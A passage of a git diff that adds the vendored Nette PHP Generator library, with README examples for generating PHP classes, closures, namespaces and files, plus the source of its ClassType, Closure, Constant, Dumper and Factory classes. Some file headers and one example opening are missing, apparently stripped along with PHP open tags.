getValue(?int $id): ?int + { + return count($this->items); + } +} +``` + +You can also add existing `Method`, `Property` or `Constant` objects to the class: + +```php +$method = new Nette\PhpGenerator\Method('getHandle'); +$property = new Nette\PhpGenerator\Property('handle'); +$const = new Nette\PhpGenerator\Constant('ROLE'); + +$class = (new Nette\PhpGenerator\ClassType('Demo')) + ->addMember($method) + ->addMember($property) + ->addMember($const); +``` + +You can clone existing methods, properties and constants with a different name using `cloneWithName()`: + +```php +$methodCount = $class->getMethod('count'); +$methodRecount = $methodCount->cloneWithName('recount'); +$class->addMember($methodRecount); +``` + +Tabs versus spaces +------------------ + +The generated code uses tabs for indentation. If you want to have the output compatible with PSR-2 or PSR-12, use `PsrPrinter`: + +```php +$class = new Nette\PhpGenerator\ClassType('Demo'); +// ... + +$printer = new Nette\PhpGenerator\PsrPrinter; +echo $printer->printClass($class); // 4 spaces indentation +``` + +It can be used also for functions, closures, namespaces etc. + + +Literals +-------- + +You can pass any PHP code to property or parameter default values via `Literal`: + +```php +use Nette\PhpGenerator\Literal; + +$class = new Nette\PhpGenerator\ClassType('Demo'); + +$class->addProperty('foo', new Literal('Iterator::SELF_FIRST')); + +$class->addMethod('bar') + ->addParameter('id', new Literal('1 + 2')); + +echo $class; +``` + +Result: + +```php +class Demo +{ + public $foo = Iterator::SELF_FIRST; + + public function bar($id = 1 + 2) + { + } +} +``` + +Interface or Trait +------------------ + +```php +$class = new Nette\PhpGenerator\ClassType('DemoInterface'); +$class->setInterface(); +// or $class->setTrait(); +``` + +Trait Resolutions and Visibility +-------------------------------- + +```php +$class = new Nette\PhpGenerator\ClassType('Demo'); +$class->addTrait('SmartObject', ['sayHello as protected']); +echo $class; +``` + +Result: + +```php +class Demo +{ + use SmartObject { + sayHello as protected; + } +} +``` + +Anonymous Class +--------------- + +```php +$class = new Nette\PhpGenerator\ClassType(null); +$class->addMethod('__construct') + ->addParameter('foo'); + +echo '$obj = new class ($val) ' . $class . ';'; +``` + +Result: + +```php +$obj = new class ($val) { + + public function __construct($foo) + { + } +}; +``` + +Global Function +--------------- + +Code of function: + +```php +$function = new Nette\PhpGenerator\GlobalFunction('foo'); +$function->setBody('return $a + $b;'); +$function->addParameter('a'); +$function->addParameter('b'); +echo $function; + +// or use PsrPrinter for output compatible with PSR-2 / PSR-12 +// echo (new Nette\PhpGenerator\PsrPrinter)->printFunction($function); +``` + +Result: + +```php +function foo($a, $b) +{ + return $a + $b; +} +``` + +Closure +------- + +Code of closure: + +```php +$closure = new Nette\PhpGenerator\Closure; +$closure->setBody('return $a + $b;'); +$closure->addParameter('a'); +$closure->addParameter('b'); +$closure->addUse('c') + ->setReference(); +echo $closure; + +// or use PsrPrinter for output compatible with PSR-2 / PSR-12 +// echo (new Nette\PhpGenerator\PsrPrinter)->printClosure($closure); +``` + +Result: + +```php +function ($a, $b) use (&$c) { + return $a + $b; +} +``` + +Arrow function +-------------- + +You can also print closure as arrow function using printer: + +```php +$closure = new Nette\PhpGenerator\Closure; +$closure->setBody('return $a + $b;'); +$closure->addParameter('a'); +$closure->addParameter('b'); + +// or use PsrPrinter for output compatible with PSR-2 / PSR-12 +echo (new Nette\PhpGenerator\Printer)->printArrowFunction($closure); +``` + +Result: + +```php +fn ($a, $b) => $a + $b; +``` + +Method and Function Body Generator +---------------------------------- + +You can use special placeholders for handy way to generate method or function body. + +Simple placeholders: + +```php +$str = 'any string'; +$num = 3; +$function = new Nette\PhpGenerator\GlobalFunction('foo'); +$function->addBody('return strlen(?, ?);', [$str, $num]); +echo $function; +``` + +Result: + +```php +function foo() +{ + return strlen('any string', 3); +} +``` + +Variadic placeholder: + +```php +$items = [1, 2, 3]; +$function = new Nette\PhpGenerator\GlobalFunction('foo'); +$function->setBody('myfunc(...?);', [$items]); +echo $function; +``` + +Result: + +```php +function foo() +{ + myfunc(1, 2, 3); +} +``` + +Escape placeholder using slash: + +```php +$num = 3; +$function = new Nette\PhpGenerator\GlobalFunction('foo'); +$function->addParameter('a'); +$function->addBody('return $a \? 10 : ?;', [$num]); +echo $function; +``` + +Result: + +```php +function foo($a) +{ + return $a ? 10 : 3; +} +``` + +Namespace +--------- + +Classes, traits and interfaces (hereinafter classes) can be grouped into namespaces: + +```php +$namespace = new Nette\PhpGenerator\PhpNamespace('Foo'); + +$class = $namespace->addClass('Task'); +$interface = $namespace->addInterface('Countable'); +$trait = $namespace->addTrait('NameAware'); + +// or +$class = new Nette\PhpGenerator\ClassType('Task'); +$namespace->add($class); +``` + +If the class already exists, it will be overwritten. + +You can define use-statements: + +```php +$namespace->addUse(Http\Request::class); // use Http\Request; +$namespace->addUse(Http\Request::class, 'HttpReq'); // use Http\Request as HttpReq; +``` + +**IMPORTANT NOTE:** when the class is part of the namespace, it is rendered slightly differently: all types (ie. type hints, return types, parent class name, +implemented interfaces and used traits) are automatically *resolved* (unless you turn it off, see below). +It means that you have to **use full class names** in definitions and they will be replaced +with aliases (according to the use-statements) or fully qualified names in the resulting code: + +```php +$namespace = new Nette\PhpGenerator\PhpNamespace('Foo'); +$namespace->addUse('Bar\AliasedClass'); + +$class = $namespace->addClass('Demo'); +$class->addImplement('Foo\A') // it will resolve to A + ->addTrait('Bar\AliasedClass'); // it will resolve to AliasedClass + +$method = $class->addMethod('method'); +$method->addComment('@return ' . $namespace->unresolveName('Foo\D')); // in comments resolve manually +$method->addParameter('arg') + ->setType('Bar\OtherClass'); // it will resolve to \Bar\OtherClass + +echo $namespace; + +// or use PsrPrinter for output compatible with PSR-2 / PSR-12 +// echo (new Nette\PhpGenerator\PsrPrinter)->printNamespace($namespace); +``` + +Result: + +```php +namespace Foo; + +use Bar\AliasedClass; + +class Demo implements A +{ + use AliasedClass; + + /** + * @return D + */ + public function method(\Bar\OtherClass $arg) + { + } +} +``` + +Auto-resolving can be turned off this way: + +```php +$printer = new Nette\PhpGenerator\Printer; // or PsrPrinter +$printer->setTypeResolving(false); +echo $printer->printNamespace($namespace); +``` + +PHP Files +--------- + +PHP files can contains multiple classes, namespaces and comments: + +```php +$file = new Nette\PhpGenerator\PhpFile; +$file->addComment('This file is auto-generated.'); +$file->setStrictTypes(); // adds declare(strict_types=1) + +$namespace = $file->addNamespace('Foo'); +$class = $namespace->addClass('A'); +$class->addMethod('hello'); + +echo $file; + +// or use PsrPrinter for output compatible with PSR-2 / PSR-12 +// echo (new Nette\PhpGenerator\PsrPrinter)->printFile($file); +``` + +Result: + +```php +dump($var); // prints ['a', 'b', 123] +``` diff --git a/vendor/nette/php-generator/src/PhpGenerator/ClassType.php b/vendor/nette/php-generator/src/PhpGenerator/ClassType.php new file mode 100644 index 0000000..a1358b0 --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/ClassType.php @@ -0,0 +1,543 @@ + Constant */ + private $consts = []; + + /** @var Property[] name => Property */ + private $properties = []; + + /** @var Method[] name => Method */ + private $methods = []; + + + /** + * @param string|object $class + */ + public static function from($class): self + { + return (new Factory)->fromClassReflection(new \ReflectionClass($class)); + } + + + /** + * @param string|object $class + */ + public static function withBodiesFrom($class): self + { + return (new Factory)->fromClassReflection(new \ReflectionClass($class), true); + } + + + public function __construct(string $name = null, PhpNamespace $namespace = null) + { + $this->setName($name); + $this->namespace = $namespace; + } + + + public function __toString(): string + { + try { + return (new Printer)->printClass($this, $this->namespace); + } catch (\Throwable $e) { + if (PHP_VERSION_ID >= 70400) { + throw $e; + } + trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); + return ''; + } + } + + + /** @deprecated an object can be in multiple namespaces */ + public function getNamespace(): ?PhpNamespace + { + return $this->namespace; + } + + + /** @return static */ + public function setName(?string $name): self + { + if ($name !== null && !Helpers::isIdentifier($name)) { + throw new Nette\InvalidArgumentException("Value '$name' is not valid class name."); + } + $this->name = $name; + return $this; + } + + + public function getName(): ?string + { + return $this->name; + } + + + /** @return static */ + public function setClass(): self + { + $this->type = self::TYPE_CLASS; + return $this; + } + + + public function isClass(): bool + { + return $this->type === self::TYPE_CLASS; + } + + + /** @return static */ + public function setInterface(): self + { + $this->type = self::TYPE_INTERFACE; + return $this; + } + + + public function isInterface(): bool + { + return $this->type === self::TYPE_INTERFACE; + } + + + /** @return static */ + public function setTrait(): self + { + $this->type = self::TYPE_TRAIT; + return $this; + } + + + public function isTrait(): bool + { + return $this->type === self::TYPE_TRAIT; + } + + + /** @return static */ + public function setType(string $type): self + { + if (!in_array($type, [self::TYPE_CLASS, self::TYPE_INTERFACE, self::TYPE_TRAIT], true)) { + throw new Nette\InvalidArgumentException('Argument must be class|interface|trait.'); + } + $this->type = $type; + return $this; + } + + + public function getType(): string + { + return $this->type; + } + + + /** @return static */ + public function setFinal(bool $state = true): self + { + $this->final = $state; + return $this; + } + + + public function isFinal(): bool + { + return $this->final; + } + + + /** @return static */ + public function setAbstract(bool $state = true): self + { + $this->abstract = $state; + return $this; + } + + + public function isAbstract(): bool + { + return $this->abstract; + } + + + /** + * @param string|string[] $names + * @return static + */ + public function setExtends($names): self + { + if (!is_string($names) && !is_array($names)) { + throw new Nette\InvalidArgumentException('Argument must be string or string[].'); + } + $this->validateNames((array) $names); + $this->extends = $names; + return $this; + } + + + /** @return string|string[] */ + public function getExtends() + { + return $this->extends; + } + + + /** @return static */ + public function addExtend(string $name): self + { + $this->validateNames([$name]); + $this->extends = (array) $this->extends; + $this->extends[] = $name; + return $this; + } + + + /** + * @param string[] $names + * @return static + */ + public function setImplements(array $names): self + { + $this->validateNames($names); + $this->implements = $names; + return $this; + } + + + /** @return string[] */ + public function getImplements(): array + { + return $this->implements; + } + + + /** @return static */ + public function addImplement(string $name): self + { + $this->validateNames([$name]); + $this->implements[] = $name; + return $this; + } + + + /** @return static */ + public function removeImplement(string $name): self + { + $key = array_search($name, $this->implements, true); + if ($key !== false) { + unset($this->implements[$key]); + } + return $this; + } + + + /** + * @param string[] $names + * @return static + */ + public function setTraits(array $names): self + { + $this->validateNames($names); + $this->traits = array_fill_keys($names, []); + return $this; + } + + + /** @return string[] */ + public function getTraits(): array + { + return array_keys($this->traits); + } + + + /** @internal */ + public function getTraitResolutions(): array + { + return $this->traits; + } + + + /** @return static */ + public function addTrait(string $name, array $resolutions = []): self + { + $this->validateNames([$name]); + $this->traits[$name] = $resolutions; + return $this; + } + + + /** @return static */ + public function removeTrait(string $name): self + { + unset($this->traits[$name]); + return $this; + } + + + /** + * @param Method|Property|Constant $member + * @return static + */ + public function addMember($member): self + { + if ($member instanceof Method) { + if ($this->isInterface()) { + $member->setBody(null); + } + $this->methods[$member->getName()] = $member; + + } elseif ($member instanceof Property) { + $this->properties[$member->getName()] = $member; + + } elseif ($member instanceof Constant) { + $this->consts[$member->getName()] = $member; + + } else { + throw new Nette\InvalidArgumentException('Argument must be Method|Property|Constant.'); + } + + return $this; + } + + + /** + * @param Constant[]|mixed[] $consts + * @return static + */ + public function setConstants(array $consts): self + { + $this->consts = []; + foreach ($consts as $k => $v) { + $const = $v instanceof Constant ? $v : (new Constant($k))->setValue($v); + $this->consts[$const->getName()] = $const; + } + return $this; + } + + + /** @return Constant[] */ + public function getConstants(): array + { + return $this->consts; + } + + + public function addConstant(string $name, $value): Constant + { + return $this->consts[$name] = (new Constant($name))->setValue($value); + } + + + /** @return static */ + public function removeConstant(string $name): self + { + unset($this->consts[$name]); + return $this; + } + + + /** + * @param Property[] $props + * @return static + */ + public function setProperties(array $props): self + { + $this->properties = []; + foreach ($props as $v) { + if (!$v instanceof Property) { + throw new Nette\InvalidArgumentException('Argument must be Nette\PhpGenerator\Property[].'); + } + $this->properties[$v->getName()] = $v; + } + return $this; + } + + + /** @return Property[] */ + public function getProperties(): array + { + return $this->properties; + } + + + public function getProperty(string $name): Property + { + if (!isset($this->properties[$name])) { + throw new Nette\InvalidArgumentException("Property '$name' not found."); + } + return $this->properties[$name]; + } + + + /** + * @param string $name without $ + */ + public function addProperty(string $name, $value = null): Property + { + return $this->properties[$name] = (new Property($name))->setValue($value); + } + + + /** + * @param string $name without $ + * @return static + */ + public function removeProperty(string $name): self + { + unset($this->properties[$name]); + return $this; + } + + + public function hasProperty(string $name): bool + { + return isset($this->properties[$name]); + } + + + /** + * @param Method[] $methods + * @return static + */ + public function setMethods(array $methods): self + { + $this->methods = []; + foreach ($methods as $v) { + if (!$v instanceof Method) { + throw new Nette\InvalidArgumentException('Argument must be Nette\PhpGenerator\Method[].'); + } + $this->methods[$v->getName()] = $v; + } + return $this; + } + + + /** @return Method[] */ + public function getMethods(): array + { + return $this->methods; + } + + + public function getMethod(string $name): Method + { + if (!isset($this->methods[$name])) { + throw new Nette\InvalidArgumentException("Method '$name' not found."); + } + return $this->methods[$name]; + } + + + public function addMethod(string $name): Method + { + $method = new Method($name); + if ($this->isInterface()) { + $method->setBody(null); + } else { + $method->setPublic(); + } + return $this->methods[$name] = $method; + } + + + /** @return static */ + public function removeMethod(string $name): self + { + unset($this->methods[$name]); + return $this; + } + + + public function hasMethod(string $name): bool + { + return isset($this->methods[$name]); + } + + + /** @throws Nette\InvalidStateException */ + public function validate(): void + { + if ($this->abstract && $this->final) { + throw new Nette\InvalidStateException('Class cannot be abstract and final.'); + + } elseif (!$this->name && ($this->abstract || $this->final)) { + throw new Nette\InvalidStateException('Anonymous class cannot be abstract or final.'); + } + } + + + private function validateNames(array $names): void + { + foreach ($names as $name) { + if (!Helpers::isNamespaceIdentifier($name, true)) { + throw new Nette\InvalidArgumentException("Value '$name' is not valid class name."); + } + } + } + + + public function __clone() + { + $clone = function ($item) { return clone $item; }; + $this->consts = array_map($clone, $this->consts); + $this->properties = array_map($clone, $this->properties); + $this->methods = array_map($clone, $this->methods); + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Closure.php b/vendor/nette/php-generator/src/PhpGenerator/Closure.php new file mode 100644 index 0000000..b8fa86b --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/Closure.php @@ -0,0 +1,71 @@ +fromFunctionReflection(new \ReflectionFunction($closure)); + } + + + public function __toString(): string + { + try { + return (new Printer)->printClosure($this); + } catch (\Throwable $e) { + if (PHP_VERSION_ID >= 70400) { + throw $e; + } + trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); + return ''; + } + } + + + /** + * @param Parameter[] $uses + * @return static + */ + public function setUses(array $uses): self + { + (function (Parameter ...$uses) {})(...$uses); + $this->uses = $uses; + return $this; + } + + + public function getUses(): array + { + return $this->uses; + } + + + public function addUse(string $name): Parameter + { + return $this->uses[] = new Parameter($name); + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Constant.php b/vendor/nette/php-generator/src/PhpGenerator/Constant.php new file mode 100644 index 0000000..7d3a83d --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/Constant.php @@ -0,0 +1,41 @@ +value = $val; + return $this; + } + + + public function getValue() + { + return $this->value; + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Dumper.php b/vendor/nette/php-generator/src/PhpGenerator/Dumper.php new file mode 100644 index 0000000..6faa956 --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/Dumper.php @@ -0,0 +1,230 @@ +dumpVar($var, [], 0, $column); + } + + + private function dumpVar(&$var, array $parents = [], int $level = 0, int $column = 0): string + { + if ($var instanceof Literal) { + return ltrim(Nette\Utils\Strings::indent(trim((string) $var), $level), "\t"); + + } elseif ($var === null) { + return 'null'; + + } elseif (is_string($var)) { + return $this->dumpString($var); + + } elseif (is_array($var)) { + return $this->dumpArray($var, $parents, $level, $column); + + } elseif (is_object($var)) { + return $this->dumpObject($var, $parents, $level); + + } elseif (is_resource($var)) { + throw new Nette\InvalidArgumentException('Cannot dump resource.'); + + } else { + return var_export($var, true); + } + } + + + private function dumpString(string $var): string + { + if (preg_match('#[^\x09\x20-\x7E\xA0-\x{10FFFF}]#u', $var) || preg_last_error()) { + static $table; + if ($table === null) { + foreach (array_merge(range("\x00", "\x1F"), range("\x7F", "\xFF")) as $ch) { + $table[$ch] = '\x' . str_pad(dechex(ord($ch)), 2, '0', STR_PAD_LEFT); + } + $table['\\'] = '\\\\'; + $table["\r"] = '\r'; + $table["\n"] = '\n'; + $table["\t"] = '\t'; + $table['$'] = '\$'; + $table['"'] = '\"'; + } + return '"' . strtr($var, $table) . '"'; + } + + return "'" . preg_replace('#\'|\\\\(?=[\'\\\\]|$)#D', '\\\\$0', $var) . "'"; + } + + + private function dumpArray(array &$var, array $parents, int $level, int $column): string + { + if (empty($var)) { + return '[]'; + + } elseif ($level > $this->maxDepth || in_array($var, $parents ?? [], true)) { + throw new Nette\InvalidArgumentException('Nesting level too deep or recursive dependency.'); + } + + $space = str_repeat("\t", $level); + $outInline = ''; + $outWrapped = "\n$space"; + $parents[] = $var; + $counter = 0; + $hideKeys = is_int(($tmp = array_keys($var))[0]) && $tmp === range($tmp[0], $tmp[0] + count($var) - 1); + + foreach ($var as $k => &$v) { + $keyPart = $hideKeys && $k === $counter ? '' : $this->dumpVar($k) . ' => '; + $counter = is_int($k) ? max($k + 1, $counter) : $counter; + $outInline .= ($outInline === '' ? '' : ', ') . $keyPart; + $outInline .= $this->dumpVar($v, $parents, 0, $column + strlen($outInline)); + $outWrapped .= "\t" + . $keyPart + . $this->dumpVar($v, $parents, $level + 1, strlen($keyPart)) + . ",\n$space"; + } + + array_pop($parents); + $wrap = strpos($outInline, "\n") !== false || $level * self::INDENT_LENGTH + $column + strlen($outInline) + 3 > $this->wrapLength; // 3 = [], + return '[' . ($wrap ? $outWrapped : $outInline) . ']'; + } + + + private function dumpObject(&$var, array $parents, int $level): string + { + if ($var instanceof \Serializable) { + return 'unserialize(' . $this->dumpString(serialize($var)) . ')'; + + } elseif ($var instanceof \Closure) { + throw new Nette\InvalidArgumentException('Cannot dump closure.'); + } + + $class = get_class($var); + if ((new \ReflectionObject($var))->isAnonymous()) { + throw new Nette\InvalidArgumentException('Cannot dump anonymous class.'); + + } elseif (in_array($class, [\DateTime::class, \DateTimeImmutable::class], true)) { + return $this->format("new \\$class(?, new \\DateTimeZone(?))", $var->format('Y-m-d H:i:s.u'), $var->getTimeZone()->getName()); + } + + $arr = (array) $var; + $space = str_repeat("\t", $level); + + if ($level > $this->maxDepth || in_array($var, $parents ?? [], true)) { + throw new Nette\InvalidArgumentException('Nesting level too deep or recursive dependency.'); + } + + $out = "\n"; + $parents[] = $var; + if (method_exists($var, '__sleep')) { + foreach ($var->__sleep() as $v) { + $props[$v] = $props["\x00*\x00$v"] = $props["\x00$class\x00$v"] = true; + } + } + + foreach ($arr as $k => &$v) { + if (!isset($props) || isset($props[$k])) { + $out .= "$space\t" + . ($keyPart = $this->dumpVar($k) . ' => ') + . $this->dumpVar($v, $parents, $level + 1, strlen($keyPart)) + . ",\n"; + } + } + + array_pop($parents); + $out .= $space; + return $class === \stdClass::class + ? "(object) [$out]" + : '\\' . __CLASS__ . "::createObject('$class', [$out])"; + } + + + /** + * Generates PHP statement. + */ + public function format(string $statement, ...$args): string + { + $tokens = preg_split('#(\.\.\.\?|\$\?|->\?|::\?|\\\\\?|\?\*|\?)#', $statement, -1, PREG_SPLIT_DELIM_CAPTURE); + $res = ''; + foreach ($tokens as $n => $token) { + if ($n % 2 === 0) { + $res .= $token; + } elseif ($token === '\\?') { + $res .= '?'; + } elseif (!$args) { + throw new Nette\InvalidArgumentException('Insufficient number of arguments.'); + } elseif ($token === '?') { + $res .= $this->dump(array_shift($args), strlen($res) - strrpos($res, "\n")); + } elseif ($token === '...?' || $token === '?*') { + $arg = array_shift($args); + if (!is_array($arg)) { + throw new Nette\InvalidArgumentException('Argument must be an array.'); + } + $res .= $this->dumpArguments($arg, strlen($res) - strrpos($res, "\n")); + + } else { // $ -> :: + $arg = array_shift($args); + if ($arg instanceof Literal || !Helpers::isIdentifier($arg)) { + $arg = '{' . $this->dumpVar($arg) . '}'; + } + $res .= substr($token, 0, -1) . $arg; + } + } + if ($args) { + throw new Nette\InvalidArgumentException('Insufficient number of placeholders.'); + } + return $res; + } + + + private function dumpArguments(array &$var, int $column): string + { + $outInline = $outWrapped = ''; + + foreach ($var as &$v) { + $outInline .= $outInline === '' ? '' : ', '; + $outInline .= $this->dumpVar($v, [$var], 0, $column + strlen($outInline)); + $outWrapped .= ($outWrapped === '' ? '' : ',') . "\n\t" . $this->dumpVar($v, [$var], 1); + } + + return count($var) > 1 && (strpos($outInline, "\n") !== false || $column + strlen($outInline) > $this->wrapLength) + ? $outWrapped . "\n" + : $outInline; + } + + + /** + * @return object + * @internal + */ + public static function createObject(string $class, array $props) + { + return unserialize('O' . substr(serialize($class), 1, -1) . substr(serialize($props), 1)); + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Factory.php b/vendor/nette/php-generator/src/PhpGenerator/Factory.php new file mode 100644 index 0000000..5a8f1a4 --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/Factory.php @@ -0,0 +1,317 @@ +isAnonymous() + ? new ClassType + : new ClassType($from->getShortName(), new PhpNamespace($from->getNamespaceName())); + $class->setType($from->isInterface() ? $class::TYPE_INTERFACE : ($from->isTrait() ? $class::TYPE_TRAIT : $class::TYPE_CLASS)); + $class->setFinal($from->isFinal() && $class->isClass()); + $class->setAbstract($from->isAbstract() && $class->isClass()); + + $ifaces = $from->getInterfaceNames(); + foreach ($ifaces as $iface) { + $ifaces = array_filter($ifaces, function (string $item) use ($iface): bool { + return !is_subclass_of($iface, $item); + }); + } + $class->setImplements($ifaces); + + $class->setComment(Helpers::unformatDocComment((string) $from->getDocComment())); + if ($from->getParentClass()) { + $class->setExtends($from->getParentClass()->name); + $class->setImplements(array_diff($class->getImplements(), $from->getParentClass()->getInterfaceNames())); + } + $props = $methods = $consts = []; + foreach ($from->getProperties() as $prop) { + if ($prop->isDefault() && $prop->getDeclaringClass()->name === $from->name) { + $props[] = $this->fromPropertyReflection($prop); + } + } + $class->setProperties($props); + + $bodies = $withBodies ? $this->loadMethodBodies($from) : []; + foreach ($from->getMethods() as $method) { + if ($method->getDeclaringClass()->name === $from->name) { + $methods[] = $m = $this->fromMethodReflection($method); + if (isset($bodies[$method->name])) { + $m->setBody($bodies[$method->name]); + } + } + } + $class->setMethods($methods); + + foreach ($from->getReflectionConstants() as $const) { + if ($const->getDeclaringClass()->name === $from->name) { + $consts[] = $this->fromConstantReflection($const); + } + } + $class->setConstants($consts); + + return $class; + } + + + public function fromMethodReflection(\ReflectionMethod $from): Method + { + $method = new Method($from->name); + $method->setParameters(array_map([$this, 'fromParameterReflection'], $from->getParameters())); + $method->setStatic($from->isStatic()); + $isInterface = $from->getDeclaringClass()->isInterface(); + $method->setVisibility($from->isPrivate() + ? ClassType::VISIBILITY_PRIVATE + : ($from->isProtected() ? ClassType::VISIBILITY_PROTECTED : ($isInterface ? null : ClassType::VISIBILITY_PUBLIC)) + ); + $method->setFinal($from->isFinal()); + $method->setAbstract($from->isAbstract() && !$isInterface); + $method->setBody($from->isAbstract() ? null : ''); + $method->setReturnReference($from->returnsReference()); + $method->setVariadic($from->isVariadic()); + $method->setComment(Helpers::unformatDocComment((string) $from->getDocComment())); + if ($from->getReturnType() instanceof \ReflectionNamedType) { + $method->setReturnType($from->getReturnType()->getName()); + $method->setReturnNullable($from->getReturnType()->allowsNull()); + } + return $method; + } + + + /** @return GlobalFunction|Closure */ + public function fromFunctionReflection(\ReflectionFunction $from, bool $withBody = false) + { + $function = $from->isClosure() ? new Closure : new GlobalFunction($from->name); + $function->setParameters(array_map([$this, 'fromParameterReflection'], $from->getParameters())); + $function->setReturnReference($from->returnsReference()); + $function->setVariadic($from->isVariadic()); + if (!$from->isClosure()) { + $function->setComment(Helpers::unformatDocComment((string) $from->getDocComment())); + } + if ($from->getReturnType() instanceof \ReflectionNamedType) { + $function->setReturnType($from->getReturnType()->getName()); + $function->setReturnNullable($from->getReturnType()->allowsNull()); + } + $function->setBody($withBody ? $this->loadFunctionBody($from) : ''); + return $function; + } + + + /** @return Method|GlobalFunction|Closure */ + public function fromCallable(callable $from) + { + $ref = Nette\Utils\Callback::toReflection($from); + return $ref instanceof \ReflectionMethod + ? self::fromMethodReflection($ref) + : self::fromFunctionReflection($ref); + } + + + public function fromParameterReflection(\ReflectionParameter $from): Parameter + { + $param = new Parameter($from->name); + $param->setReference($from->isPassedByReference()); + $param->setType($from->getType() instanceof \ReflectionNamedType ? $from->getType()->getName() : null); + $param->setNullable($from->hasType() && $from->getType()->allowsNull()); + if ($from->isDefaultValueAvailable()) { + $param->setDefaultValue($from->isDefaultValueConstant() + ? new Literal($from->getDefaultValueConstantName()) + : $from->getDefaultValue()); + $param->setNullable($param->isNullable() && $param->getDefaultValue() !== null); + } + return $param; + } + + + public function fromConstantReflection(\ReflectionClassConstant $from): Constant + { + $const = new Constant($from->name); + $const->setValue($from->getValue()); + $const->setVisibility($from->isPrivate() + ? ClassType::VISIBILITY_PRIVATE + : ($from->isProtected() ? ClassType::VISIBILITY_PROTECTED : ClassType::VISIBILITY_PUBLIC) + ); + $const->setComment(Helpers::unformatDocComment((string) $from->getDocComment())); + return $const; + } + + + public function fromPropertyReflection(\ReflectionProperty $from): Property + { + $defaults = $from->getDeclaringClass()->getDefaultProperties(); + $prop = new Property($from->name); + $prop->setValue($defaults[$prop->getName()] ?? null); + $prop->setStatic($from->isStatic()); + $prop->setVisibility($from->isPrivate() + ? ClassType::VISIBILITY_PRIVATE + : ($from->isProtected() ? ClassType::VISIBILITY_PROTECTED : ClassType::VISIBILITY_PUBLIC) + ); + if (PHP_VERSION_ID >= 70400 && ($from->getType() instanceof \ReflectionNamedType)) { + $prop->setType($from->getType()->getName()); + $prop->setNullable($from->getType()->allowsNull()); + $prop->setInitialized(array_key_exists($prop->getName(), $defaults)); + } + $prop->setComment(Helpers::unformatDocComment((string) $from->getDocComment())); + return $prop; + } + + + private function loadMethodBodies(\ReflectionClass $from): array + { + if ($from->isAnonymous()) { + throw new Nette\NotSupportedException('Anonymous classes are not supported.'); + } + + [$code, $stmts] = $this->parse($from); + $nodeFinder = new PhpParser\NodeFinder; + $class = $nodeFinder->findFirst($stmts, function (Node $node) use ($from) { + return ($node instanceof Node\Stmt\Class_ || $node instanceof Node\Stmt\Trait_) && $node->namespacedName->toString() === $from->name; + }); + + $bodies = []; + foreach ($nodeFinder->findInstanceOf($class, Node\Stmt\ClassMethod::class) as $method) { + /** @var Node\Stmt\ClassMethod $method */ + if ($method->stmts) { + $body = $this->extractBody($nodeFinder, $code, $method->stmts); + $bodies[$method->name->toString()] = Helpers::unindent($body, 2); + } + } + return $bodies; + } + + + private function loadFunctionBody(\ReflectionFunction $from): string + { + if ($from->isClosure()) { + throw new Nette\NotSupportedException('Closures are not supported.'); + } + + [$code, $stmts] = $this->parse($from); + + $nodeFinder = new PhpParser\NodeFinder; + /** @var Node\Stmt\Function_ $function */ + $function = $nodeFinder->findFirst($stmts, function (Node $node) use ($from) { + return $node instanceof Node\Stmt\Function_ && $node->namespacedName->toString() === $from->name; + }); + + $body = $this->extractBody($nodeFinder, $code, $function->stmts); + return Helpers::unindent($body, 1); + } + + + /** + * @param Node[] $statements + */ + private function extractBody(PhpParser\NodeFinder $nodeFinder, string $originalCode, array $statements): string + { + $start = $statements[0]->getAttribute('startFilePos'); + $body = substr($originalCode, $start, end($statements)->getAttribute('endFilePos') - $start + 1); + + $replacements = []; + // name-nodes => resolved fully-qualified name + foreach ($nodeFinder->findInstanceOf($statements, Node\Name::class) as $node) { + if ($node->hasAttribute('resolvedName') + && $node->getAttribute('resolvedName') instanceof Node\Name\FullyQualified + ) { + $replacements[] = [ + $node->getStartFilePos(), + $node->getEndFilePos(), + $node->getAttribute('resolvedName')->toCodeString(), + ]; + } + } + + // multi-line strings => singleline + foreach (array_merge( + $nodeFinder->findInstanceOf($statements, Node\Scalar\String_::class), + $nodeFinder->findInstanceOf($statements, Node\Scalar\EncapsedStringPart::class) + ) as $node) { + $token = substr($body, $node->getStartFilePos() - $start, $node->getEndFilePos() - $node->getStartFilePos() + 1); + if (strpos($token, "\n") !== false) { + $quote = $node instanceof Node\Scalar\String_ ? '"' : ''; + $replacements[] = [ + $node->getStartFilePos(), + $node->getEndFilePos(), + $quote . addcslashes($node->value, "\x00..\x1F") . $quote, + ]; + } + } + + // HEREDOC => "string" + foreach ($nodeFinder->findInstanceOf($statements, Node\Scalar\Encapsed::class) as $node) { + if ($node->getAttribute('kind') === Node\Scalar\String_::KIND_HEREDOC) { + $replacements[] = [ + $node->getStartFilePos(), + $node->parts[0]->getStartFilePos() - 1, + '"', + ]; + $replacements[] = [ + end($node->parts)->getEndFilePos() + 1, + $node->getEndFilePos(), + '"', + ]; + } + } + + //sort collected resolved names by position in file + usort($replacements, function ($a, $b) { + return $a[0] <=> $b[0]; + }); + $correctiveOffset = -$start; + //replace changes body length so we need correct offset + foreach ($replacements as [$startPos, $endPos, $replacement]) { + $replacingStringLength = $endPos - $startPos + 1; + $body = substr_replace( + $body, + $replacement, + $correctiveOffset + $startPos, + $replacingStringLength + ); + $correctiveOffset += strlen($replacement) - $replacingStringLength; + } + return $body; + } + + + private function parse($from): array + { + $file = $from->getFileName(); + if (!class_exists(ParserFactory::class)) { + throw new Nette\NotSupportedException("PHP-Parser is required to load method bodies, install package 'nikic/php-parser'."); + } elseif (!$file) { + throw new Nette\InvalidStateException("Source code of $from->name not found."); + } + + $lexer = new PhpParser\Lexer(['usedAttributes' => ['startFilePos', 'endFilePos']]); + $parser = (new ParserFactory)->create(ParserFactory::ONLY_PHP7, $lexer); + $code = file_get_contents($file); + $code = str_replace("\r\n", "\n", $code); + $stmts = $parser->parse($code); + + $traverser = new 